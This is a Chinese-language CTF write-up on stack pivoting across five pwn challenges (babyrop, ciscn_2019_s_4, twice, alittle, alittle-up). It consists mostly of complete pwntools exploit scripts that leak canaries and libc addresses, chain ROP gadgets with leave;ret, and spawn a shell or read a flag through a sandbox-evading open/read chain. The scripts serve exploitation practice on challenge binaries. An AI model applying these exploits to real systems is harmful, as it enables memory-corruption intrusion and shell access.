例题1 MTCTF babyrop (64位)
思路
题目情况:发现有个循环,一次读一个字节,如果你输入失败或者输入\n就把最后一位置零,然后break;还有就是输入满24个字符也break。然后就是一个字符串匹配,但匹配的是字符串的地址。Vuln是一个读0x30字节的read,buf可溢出8字节。
基本上就确定了是栈迁移,前置条件是一个字符串匹配和金丝雀,看V6发现和循环条件正好匹配输入0x18个字节,下文还有个printf,满足泄露金丝雀,覆盖掉金丝雀最后字节\x00泄露。
栈迁移这里有2种构造
EXP
第一种
from pwn import *
context.log_level = 'debug'
s = lambda data :p.send(data)
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg = lambda name,data :p.success(name + "-> 0x%x" % data)
p = process('babyrop')
elf = ELF('babyrop')
libc = ELF("./libc-2.27.so")
def dbg():
gdb.attach(p)
pause()
#
read = 0x40072E
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_plt = elf.plt['read']
read_got = elf.got['read']
bss_addr = 0x601100
lea_ret = 0x4008A2
pop_rdi_ret =0x400913
pop_rsi_r15_ret = 0x0400911
pop_rbp_ret = 0x0400698
passwd = 0x4009AE
bss_addr = elf.bss()+0x500+0x20 # bss()获取bss段地址是__bss_start的地址
puts = elf.sym['puts']
sa("What your name? ",'b'*0x19)
ru('b'*0x18)
canary = u64(p.recv(8))-0x62
lg('canary',canary)
p.recvuntil("Please input the passwd to unlock this challenge\n")
p.sendline(str(passwd))
p.recvuntil("message\n")
pl = 'a'*0x18+p64(canary)+p64(bss_addr)+p64(read)
p.send(pl)
pl1 = p64(puts_got) + p64(puts) + p64(read)+p64(canary)
pl1 += p64(bss_addr-0x30)+p64(read)
p.send(pl1)
pl = 'a'*0x18+p64(canary)+p64(bss_addr+0x50)+p64(pop_rdi_ret)
p.send(pl)
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = puts_addr- libc.sym['puts']
lg('libc_base',libc_base)
one_gadget = 0x4f3d5 + libc_base
pl = 'a'*0x18+p64(canary)+p64(0)+p64(one_gadget)
p.sendline(pl)
p.interactive()
这种构造是三次栈迁移(这里的vuln就是read功能)
第一次是在buf读内容,溢出跳转read
第一次在0x500读入内容,溢出跳转read
第二次在0x4c0读入内容(设置好rbp)。溢出跳转poprdi(相当于用读2次来扩充read大小,原大小不足以构建完整payload)
最后执行vuln时,就会往设置好的rbp输入内容ret one_gadget
read跳转:
栈溢出利用read时,往往read函数的buf不是我们想要的bss段
我们会发现这里的buf是[rbp+buf]->rax->rsi,而在栈中我们知道buf = rbp-0x20,所
以设置rbp为 我们要输入的位置 + 0x20 这样buf就被修改为我们需要读入的bss段了
第二种
from pwn import *
context.log_level = "debug"
s = lambda data :p.send(data)
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg = lambda name,data :p.success(name + "-> 0x%x" % data)
p = process("./babyrop")
sa("? \n", "a"*0x19)
ru('a'*0x18)
canary = u64(p.recv(8))-0x61
lg('canary',canary)
sla("challenge\n", 0x4009ae)
leave_ret = 0x400759
bss_addr = 0x601800
pl = "a"*0x18+p64(canary)+p64(bss_addr)+p64(0x40072E)
sa("message\n", pl)
puts = 0x40086E
pop_rdi_ret = 0x400913
pl2 =p64(pop_rdi_ret)+p64(0x600fc0)+p64(puts)
s(pl2+p64(canary)+p64(0x601800-0x28)+p64(leave_ret))
libc_base = u64(p.recvuntil("\x7f")[-6:]+"\x00\x00")-0x80aa0
lg('libc_base',libc_base)
one = libc_base+0x4f432
s("a"*0x18+p64(canary)+p64(0)+p64(one))
p.interactive()
这种构造则执行了2次栈迁移
第一次bss段输入,溢出跳转read
第二次在0x6017e0输入内容,溢出跳转leave_ret
最后同样的栈溢出one_gadget
区别在于这里用的puts函数是vuln函数上方的函数
这样的结果就是在执行完puts后就会执行一遍vuln,从而得到最后一次栈溢出
leave ret:
mov esp ebp
pop ebp
pop eip
原理的话栈迁移原理图示 - yichen0115 - 博客园 (cnblogs.com)
算是栈迁移的常规利用,控制ebp的值为写入的地址,注意的是最后eip执行是从ebp位置+0x8开始执行的
64位是寄存器传参,所以有所区别,read和leaveret一般分开用
例题2 ciscn_2019_s_4 (32位)
思路
题目很简单2次read输入,每次能多溢出4字节
32位这种题,溢出一个字长,read不行,puts也不行
没办法转移到bss段上,所以考虑就写s(转自己身上),利用前边的填充位置写payload
EXP
from pwn import *
context.log_level = 'debug'
s = lambda data :p.send(data)
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg = lambda name,data :p.success(name + "-> 0x%x" % data)
p = process('ciscn_s_4')
#p = remote('node4.buuoj.cn',27969)
elf = ELF('ciscn_s_4')
libc = ELF("./libc-2.27.so")
def dbg():
gdb.attach(p)
pause()
bss_addr = 0x804a500
system = elf.sym['system']
read = elf.sym['read']
leave_ret = 0x080484b8
lg('bss_addr',bss_addr)
pl = 'a'*0x28
sa('name?',pl)
ru(pl)
s = u32(p.recv(4).ljust(4,'\x00'))-0x38
lg('s',s)
pl = p32(system)+'aaaa'+ p32(s+12)+'/bin/sh\x00'
pl = pl.ljust(0x28,'a')
pl += p32(s-4)+p32(leave_ret)
p.send(pl)
p.interactive()
第一次read去获取一个s的地址
第二次就构造自我跳转
system函数传入的参数是/bin/sh的地址,在栈上传字符注意使用p.send
例题3 第五空间2020 twice(64位)
思路
64位有金丝雀,观察题目发现,第一次循环时count=0,只能输入89个字符,而二次112个字符,总共也只有2次循环。第一次还会把最后一位置零。
第一次就是用来泄露金丝雀
第二次则用来栈迁移泄露libc 和getshell
这里有2个EXP,只有一点区别,就是在执行完puts泄露函数地址后执行的函数不同
如果是选择用start函数,一定要注意canary会重置,ebp也会改变。
而选择0x4007a9(for循环的条件函数),不直接用read函数在于read函数是一个条件跳转,不能直接调用
这道题的输入数据很大,就不用转移到bss段上,自我跳转执行即可
tips:一定要写好exp流程,recvuntil什么的
EXP
# system(/bin/sh)
from pwn import *
context.log_level = 'debug'
s = lambda data :p.send(data)
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg = lambda name,data :p.success(name + "-> 0x%x" % data)
p = process('twice')
#p = remote('node4.buuoj.cn',27969)
elf = ELF('twice')
libc = ELF('./libc-2.23.so')
def dbg():
gdb.attach(p)
pause()
pop_rdi_ret = 0x400923
puts_plt = elf.plt['puts']
puts = elf.sym['puts']
puts_got = elf.got['puts']
leave_ret=0x0400879
start = 0x0400630
# leak canary 1
pl = 'a'*0x59
p.recvuntil(">")
s(pl)
ru(pl)
canary = u64(p.recv(7).rjust(8,'\x00'))
ebp = u64(p.recv(6).ljust(8,'\x00'))
s_addr = ebp - 0x70
lg('canary',canary)
lg('s_addr',s_addr)
# write bss 2
p.recvuntil(">")
pl = p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(start)
pl = pl.ljust(0x58,'a')
pl += p64(canary)+p64(s_addr-8)+p64(leave_ret)
s(pl)
p.recvuntil('\n')
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
lg('puts_addr',puts_addr)
#leak libc
libc_base = puts_addr - libc.sym["puts"]
system_addr=libc_base+libc.sym["system"]
binsh_addr=libc_base + libc.search("/bin/sh").next()
lg('libc_base',libc_base)
# agin
pl = 'a'*0x59
p.recvuntil(">")
s(pl)
ru(pl)
canary = u64(p.recv(7).rjust(8,'\x00'))
ebp = u64(p.recv(6).ljust(8,'\x00'))
s_addr = ebp - 0x70
#
pl = p64(pop_rdi_ret)+p64(binsh_addr)+p64(system_addr)
pl = pl.ljust(0x58,'a')
pl += p64(canary)+p64(s_addr-8)+p64(leave_ret)
s(pl)
p.interactive()
# one_gadget
from pwn import *
context.log_level = 'debug'
s = lambda data :p.send(data)
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg = lambda name,data :p.success(name + "-> 0x%x" % data)
p = process('twice')
#p = remote('node4.buuoj.cn',27969)
elf = ELF('twice')
libc = ELF('./libc-2.23.so')
def dbg():
gdb.attach(p)
pause()
pop_rdi_ret = 0x400923
puts_plt = elf.plt['puts']
puts = elf.sym['puts']
puts_got = elf.got['puts']
leave_ret=0x0400879
start = 0x0400630
gadget = [0x45226,0x4527a,0xf03a4,0xf1247]
# leak canary 1
pl = 'a'*0x59
p.recvuntil(">")
s(pl)
ru(pl)
canary = u64(p.recv(7).rjust(8,'\x00'))
ebp = u64(p.recv(6).ljust(8,'\x00'))
s_addr = ebp - 0x70
lg('canary',canary)
lg('s_addr',s_addr)
# write bss 2
p.recvuntil(">")
pl = p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(0x04007a9)
pl = pl.ljust(0x58,'a')
pl += p64(canary)+p64(s_addr-8)+p64(leave_ret)
s(pl)
p.recvuntil('\n')
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
lg('puts_addr',puts_addr)
# leak libc
libc_base = puts_addr - libc.sym["puts"]
system_addr=libc_base+libc.sym["system"]
binsh_addr=libc_base + libc.search("/bin/sh").next()
one = gadget[0]+libc_base
lg('libc_base',libc_base)
# get shell
pl = 'a'*0x58+p64(canary)+p64(0)+p64(one)
sl(pl)
p.interactive()
例题4 一道普通的栈迁移进阶
题目很简单,0x20的栈空间,能输入0x30
思路
这道题和我一般认识的栈迁移有不同,似乎利用了一种固定化的结构
利用栈溢出设置read位置的同时,还设置了rop链的执行。调试了好几遍才搞懂为什么,算是打开了一种新思路吧。
(一条栈溢出,一条不溢出)
EXP
from pwn import *
r=process('./alittle')
elf=ELF('./alittle')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
bss=0x601000+0x600
rdi=0x00000000004005d3
leave=0x40054B # read
ret=0x400568
r.recv()
pay='a'*0x20+p64(bss)+p64(leave)#为了下次不溢出时能ret执行rop,固定rsp
r.send(pay)
pay1='a'*0x20+p64(bss+0x20)+p64(leave)
#pay1是写在bss-0x20处的,而read则是往bss处写入rop链并执行
r.send(pay1)
pay2=p64(0)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400537)
# ret到p64(rdi)的原因就是pay设置好的ret地址
# gdb.attach(r)
r.send(pay2)
# leak libc
leak=u64(r.recv(6)+'\x00'*2)
base=leak-libc.sym['puts']
print(hex(base))
sys=base+libc.sym['system']
sh=base+0x1b3e1a
# 设置read输入位置
pay3='a'*0x20+p64(bss+0x40)+p64(leave)#rbp
r.send(pay3)
# 再由read函数ret调用rop链
pay4=p64(0)+p64(rdi)+p64(sh)+p64(ret)+p64(sys)
r.send(pay4)
r.interactive()
例题5 atitile-up(64位)
思路
和例题4一模一样,只是开了沙箱,这个板子值得记一下
EXP
from pwn import *
r=process('./alittle-up')
elf=ELF('./alittle-up')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level='debug'
bss=0x601000+0x400
rdi=0x0000000000400833
leave=0x4007B1
ret=0x4007CC
rsi=0x0000000000400831
r.recv()
pay='a'*0x100+p64(bss)+p64(leave)
r.send(pay)
pay1='a'*0x100+p64(bss+0x100)+p64(leave)
r.send(pay1)
pay2=p64(bss+0x110)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400790)
r.send(pay2)
leak=u64(r.recv(6)+'\x00'*2)
base=leak-libc.sym['puts']
print(hex(base))
pay3='a'*0x100+p64(bss+0x120)+p64(leave)
r.send(pay3)
pay5=p64(bss+0x130)+p64(rdi)+p64(0)+p64(rsi)+p64(0x601200)+p64(0x40)+p64(base+libc.sym['read'])+p64(0x400790)
r.send(pay5)
r.send("flag")
gdb.attach(r)
pay6='a'*0x100+p64(bss+0x300)+p64(leave)
#gdb.attach(r)
r.send(pay6)
pay1='a'*0x100+p64(bss+0x400)+p64(leave)
r.send(pay1)
#gdb.attach(r)
pay8=p64(0)+p64(rdi)+p64(0x2)+p64(rsi)+p64(0x601200)+p64(0)+p64(base+libc.sym['syscall'])
pay8+=p64(rdi)+p64(3)+p64(rsi)+p64(0x601200)+p64(0x100)+p64(base+libc.sym['read'])
pay8+=p64(rdi)+p64(0x601200)+p64(base+libc.sym['puts'])+p64(0x400790)
r.send(pay8)
r.interactive()
总结
栈迁移基本上都是利用覆盖返回地址来实现控制eip
核心上还是leave_ret->控制esp->控制eip
常用的思路是布局+(canary)+ebp+leaveret的形式
- leaveret可以替换为read,相应的就要修改ebp来控制读入位置,实现布局空间扩充
- 布局里也可以加入read等函数,实现循环输入
- shellcode可执行就考虑jmp esp + sub esp 0x??/jmp esp 的手法
- read式的栈迁移,能用一条栈溢出来控制读入位置和执行位置,按特殊结构布置
有时候第一次read会用来泄露金丝雀和栈地址(以获取输入点的地址),第二次就执行leave_ret跳转利用puts函数泄露libc同时布局第三次输入,第三次直接利用栈溢出的方式one_gadget(总共需要程序提供2次输入)
也有时候会因为范围过小,第一次read会用来泄露金丝雀和栈地址(以获取输入点的地址),第二次返回导向read读入布局同时返回导向read,第三次即到低位继续补充布局在最后ret一次性执行布局(两次输入布局加启用)(总共需要程序提供1次输入)
当然具体输入情况还是要看题目,目前做的题还不够多,会慢慢补充修改